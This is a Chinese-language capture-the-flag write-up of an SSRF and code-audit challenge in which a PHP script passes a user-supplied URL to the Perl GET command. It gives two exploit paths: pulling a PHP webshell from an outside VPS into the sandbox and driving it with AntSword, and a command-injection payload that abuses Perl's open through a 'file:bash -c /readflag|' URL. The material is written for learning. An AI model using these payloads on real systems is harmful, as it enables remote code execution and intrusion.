考点
ssrf
代码审计
解题过程
打开
1 | 36.18.121.204 |
得到一份源代码,那肯定是先进行代码审计
代码审计
1 |
|
这道代码的作用:通过sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"])
创建了一个沙盒目录,然后$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
执行GET命令,参数由外部$_GET["url"]
传参,外部$info = pathinfo($_GET["filename"]);
传入文件名,将GET命令执行结果写入文件中file_put_contents(basename($info["basename"]), $data);
。
分析完后首先想到的就是,在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。
在服务器上写上一句话目标,然后保存。
用python启动一个http服务
1 | python3 -m http.server |
构造pyalod进行请求
1 | ?url=121.4.xx.xx:8000/shell.php&filename=shell.php |
接下来需要去沙盒路径下访问刚刚写入的文件 shell.php
1 | 路径的构造规则 sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]) |
访问 sandbox/d23635209b921a91099a3d5b85be6af2/shell.php
POST 提交 phpinfo()
蚁剑启动
根目录下看到flag,双击打不开
切换到终端,执行./readflag ,成功拿到flag
第二种方式
利用GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令,这里都是看别人wp才知道的,说得都是云里雾里,直接进行演示。
用GET 执行命令 (先创建文件才执行GET才能成功)
1 | touch 'ls|' |
1 | ┌──(kali㉿kali)-[/tmp] |
在kali中,要让命令执行生效,需要在 /usr/share/perl5/LWP/Protocol/file.pm
文件中,将 open(my $fh,'<', $path) or return new
修改为open(my $fh, $path) or return new
。
构造payload拿flag
先执行两遍
1 | ?url=file:bash -c /readflag|&filename=bash -c /readfla |
在访问 /sandbox/d23635209b921a91099a3d5b85be6af2/bash -c /readflag|
总结
对这道题处于一种,啊,这就是ssrf题吗。平时ssrf做得很少,现在要是问我,什么是ssrf,我会回答,服务端请求伪造,但是要我说个案例,我就说不上来。这道题给我的提升就是知道GET命令的漏洞以及利用方式。